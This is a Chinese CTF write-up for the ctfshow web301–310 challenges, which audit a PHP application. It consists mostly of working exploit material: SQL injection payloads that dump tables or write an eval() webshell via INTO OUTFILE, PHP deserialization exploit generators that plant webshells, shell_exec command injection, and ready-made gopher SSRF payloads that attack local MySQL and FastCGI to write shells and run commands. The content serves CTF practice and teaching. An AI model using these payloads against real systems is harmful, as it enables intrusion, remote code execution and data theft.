代码审计
web301
checklogin.php
中存在sql注入:
$sql ="select sds_password from sds_user where sds_username='" .$username ."' order by id limit 1;" ;
而且结合查看logout.php
, 发现鉴权方式只有login是否为1, 可能有未授权
所以sql登录方式如下:
POST: userid=1'union select 1#&userpwd=1 userid=-1' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"#&userpwd=1
未授权: 将cookie改成login=1
web302
描述: if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
未授权没了
全局搜索sds_decode, 在fun.php
中找到解密函数
<?php function sds_decode ($str ) { return md5 (md5 ($str .md5 (base64_encode ("sds" )))."sds" ); } ?>
为什么我检查checklogin.php
依然没变下面这个, 不过无所谓了, 就用上面那个
利用下面的代码进行本地运行
<?php function sds_decode ($str ) { return md5 (md5 ($str .md5 (base64_encode ("sds" )))."sds" ); } echo sds_decode ('1' );?>
payload:
userid=1'union select 'd9c77c4e454869d5d8da3b4be79694d3'#&userpwd=1
web303
checklogin.php
增加了限制:
if (strlen ($username )>6 ){ die (); }
sds_user.sql
给出账号admin和加密后密码, 试出来账号密码都是admin. 但是没给flag
回到代码审计, 在dpt.php中找到注释: //注入点
, 发现dptadd.php
中也有
<?php $_GET ['id' ]=!empty ($_GET ['id' ])?$_GET ['id' ]:NULL ; $page =$_GET ['id' ]; $sql ="select * from sds_dpt order by id;" ; $result =$mysqli ->query ($sql ); ?>
die(mysqli_error($mysqli));
长期速逝导致的报错注入, 以及插入查询
刚好我们已经登录了, 记得登录后添加数据
POST: # 查当前数据库: sds dpt_name=-1' and updatexml(1,concat('~',database()),3)# # 查数据库表: sds_dpt,sds_fl9g,sds_user dpt_name=-1' and updatexml(1,concat('~',substr((select group_concat(table_name)from information_schema.tables where table_schema = database()), 1 , 31)),3)# # 查表内字段: flag dpt_name=-1' and updatexml(1,concat('~',substr((select group_concat(column_name)from information_schema.columns where table_name = 'sds_fl9g'), 1 , 31)),3)# # 获取表内信息: ctfshow{d04dd568-5e60-43b3-8298-5304f1c332f1} dpt_name=-1'and updatexml(1,concat('~',substr((select flag from sds_fl9g),1,31)),3)# dpt_name=-1'and updatexml(1,concat('~',substr((select flag from sds_fl9g),31,50)),3)#
再来看看insert注入, 然后刷新就能在浏览器里面看到结果
# 查表 dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())# # 查字段 dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g');# # 查数据 dpt_name=1',sds_address=(select flag from sds_fl9g)#
web304
function sds_waf ($str ) { return preg_match ('/[0-9]|[a-z]|-/i' , $str ); }
反正源码还是上一题的, 甚至上一题的两个方法也能用, 懒得写了
web305
这次是真过滤了, 新增在fun.php
function sds_waf ($str ) { if (preg_match ('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/' , $str )){ return false ; }else { return true ; } }
新增了class.php
, 似乎是一个反序列化:
class user { public $username ; public $password ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function __destruct ( ) { file_put_contents ($this ->username, $this ->password); } }
查看谁引用了这个文件, 发现是checklogin.php
中有反序列化操作
$user_cookie = $_COOKIE ['user' ];if (isset ($user_cookie )){ $user = unserialize ($user_cookie ); }
那就很简单了, 构造反序列化然后通过cookie传入即可, exp如下:
<?php class user { public $username ='1.php' ; public $password ='<?php eval($_POST[1]);?>' ; } $a = new user ();echo urlencode (serialize ($a ));?>
然后访问1.php
执行命令即可
flag在数据库中, 可以利用蚁剑的数据库操作:
首页右键连接成功的条目, 选择数据操作
先检测数据库函数支持(本题为Mysqli), 然后配置连接, 密码在conn.php
中, 执行查询语句即可
web306
在index.php
有一个反序列化
<?php session_start ();require "conn.php" ;require "dao.php" ;$user = unserialize (base64_decode ($_COOKIE ['user' ]));if (!$user ){ header ("location:login.php" ); } ?>
conn.php
是连接mysql数据库用的, 没内容
dao.php
引入class.php
, 该文件中有file_put_contents()
, 可以用于写文件
class log { public $title ='log.txt' ; public $info ='' ; public function loginfo ($info ) { $this ->info=$this ->info.$info ; } public function close ( ) { file_put_contents ($this ->title, $this ->info); } }
所以可以通过dao.php
触发写文件操作, 而index.php刚好引入了dao.php
, 反序列化链如下
index -> dao::__destruct() -> log::close()
写payload
<?php class log { public $title = '1.php' ; public $info = '<?php eval($_POST[1]);?>' ; } class dao { private $conn ; public function __construct ($conn ) { $this ->conn=$conn ; } } $s = new dao (new log ());echo base64_encode (serialize ($s ));
利用hackbar直接对index.php
发包并设置cookie的user值为上面的输出
然后在当前目录下找到flag
POST: 1=system('tac flag.php');
web307
现在反序列化的入口出现在了cotroller/logout.php
, 而且没有身份认证
<?php require 'service/service.php' ;setcookie ('user' ,'' ,0 ,'/' );$service = unserialize (base64_decode ($_COOKIE ['service' ]));if ($service ){ $service ->clearCache (); } ?>
查询该函数, 发现在cotroller/service/dao/dao.php
中存在, 而且该函数直接调用的shell_exec
在参数可控的情况下, 可以利用分号阻断前面命令, 执行我们的命令
class dao { private $config ; public function __construct ( ) { $this ->config=new config (); $this ->init (); public function clearCache ( ) { shell_exec ('rm -rf ./' .$this ->config->cache_dir.'/*' ); }
cotroller/service/dao/config/config.php
中有路径设置:
class config { private $mysql_username ='root' ; private $mysql_password ='phpcj' ; private $mysql_db ='sds' ; private $mysql_port =3306 ; private $mysql_host ='localhost' ; public $cache_dir = 'cache' ; }
那么利用链就出来了
logout -> config -> dao::clearCache()
<?php class config { public $cache_dir = '; echo "<?php eval(\$_POST[1]);?>" > 1.php; ' ; 这里需要转义$符 } class dao { private $config ; public function __construct ( ) { $this ->config=new config (); } } $s = new dao ();echo base64_encode (serialize ($s ));
注意生成的文件在/controller/1.php
POST: 1=system('tac ../flag.php');
web308
之前的cache_dir
添加了正则过滤, 只允许字母通过, 看起来是不能利用了
在index.php
中有反序列化入口
我的建议是直接全局搜索 unserialize, 排查可以访问到的文件
<?php $service = unserialize (base64_decode ($_COOKIE ['service' ]));if ($service ){ $lastVersion =$service ->checkVersion (); } ?>
再找这个方法来自哪里, 来自dao.php
public function checkVersion ( ) { return checkUpdate ($this ->config->update_url); }
再找checkUpdate, 来自fun.php
, 这里存在ssrf:
传入的url没有经过任何过滤
CURLOPT_SSL_VERIFYPEER
设置为false
禁用了对SSL证书颁发机构的验证
CURLOPT_SSL_VERIFYHOST
设置为false
禁用了对主机名的验证
function checkUpdate ($url ) { $ch =curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_HEADER, false ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true ); curl_setopt ($ch , CURLOPT_FOLLOWLOCATION, true ); curl_setopt ($ch , CURLOPT_SSL_VERIFYPEER, false ); curl_setopt ($ch , CURLOPT_SSL_VERIFYHOST, false ); $res = curl_exec ($ch ); curl_close ($ch ); return $res ; }
index -> dao::checkVersion() -> fun::checkUpdate
这里写不了马, 那就看看数据库能不能利用: 找到config.php文件, 发现没有密码
利用gopher协议和mysql数据库攻击, 现成的工具(必须没有密码): Gopherus
python2 .\gopherus.py --exploit mysql root select '<?=eval($_POST[1])?>' into outfile '/var/www/html/1.php' ;
然后利用反序列化链即可
<?php class config { public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%42%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%3d%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%3b%01%00%00%00%01' ; } class dao { private $config ; public function __construct ( ) { $this ->config=new config (); } } $a =new dao ();echo base64_encode (serialize ($a ));?>
最后payload:
POST: 1=system('tac flaaaaaag.php');
web309
描述: 需要拿shell,308的方法不行了,mysql 有密码了
上一题利用链都没变, 只改了密码, 这里是利用SSRF漏洞攻击FastCGI
前置条件:
PHP版本大于5.3.3, 此时才能修改PHP.INI
知道一个PHP文件的绝对路径
PHP_FRM监听本机9000
没学明白, 后面再写一个复现, 就先当脚本小子: 一样用上面那个工具
这里可以替换tac f*
为echo "<?=eval(\$_POST[1])?>" >1.php
python2 .\gopherus.py --exploit fastcgi index.php tac f*
<?php class config { public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00' ; } class dao { private $config ; public function __construct ( ) { $this ->config=new config (); } } $a =new dao ();echo base64_encode (serialize ($a ));?>
抓包, 发包即可
web310
利用web309的方法依然可以获得shell, 但是拿不到真的flag
利用链没变, 但是端口关了, 那就利用file:///
协议读取一下配置文件
你说是不是可以在shell里面直接读配置文件nginx.conf
, 懒得出去截图了
<?php class config { public $update_url = 'file:///etc/nginx/nginx.conf' ; } class dao { private $config ; public function __construct ( ) { $this ->config=new config (); } } $a =new dao ();echo base64_encode (serialize ($a ));?>
发现监听了4476端口, 初始目录是/var/flag
, flag就在这个路径下面的index.php